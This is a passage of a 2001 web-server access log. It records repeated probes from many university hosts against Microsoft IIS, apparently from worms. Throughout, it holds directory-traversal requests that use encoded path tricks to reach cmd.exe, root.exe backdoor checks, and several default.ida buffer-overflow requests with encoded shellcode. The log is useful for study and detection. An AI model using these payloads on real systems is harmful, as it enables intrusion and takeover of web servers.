/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:19: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:19: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:19: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:19: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:19: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 20:03:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:05:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:39: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:07:40: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:14: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:15: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:13:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:16:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:23:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:23:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:15: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:23:16: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:25:24: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:25:25: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:26: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:27: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:28: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:32: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:36: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:37: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:40: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:42: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:43: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:44: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:48: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:49: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:49: dubhe02.cdc.deakin.edu.au [128.184.132.3] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:25:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:02: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:03: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:26:03: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 20:27:19: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:26: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:27:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 20:32:03: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:31: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:32: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:33: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:33: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:33: cecilserver.criminology.fsu.edu [128.186.148.18] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:33:33: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 20:35:28: sql-server.jrn.columbia.edu [128.59.96.106] "GET 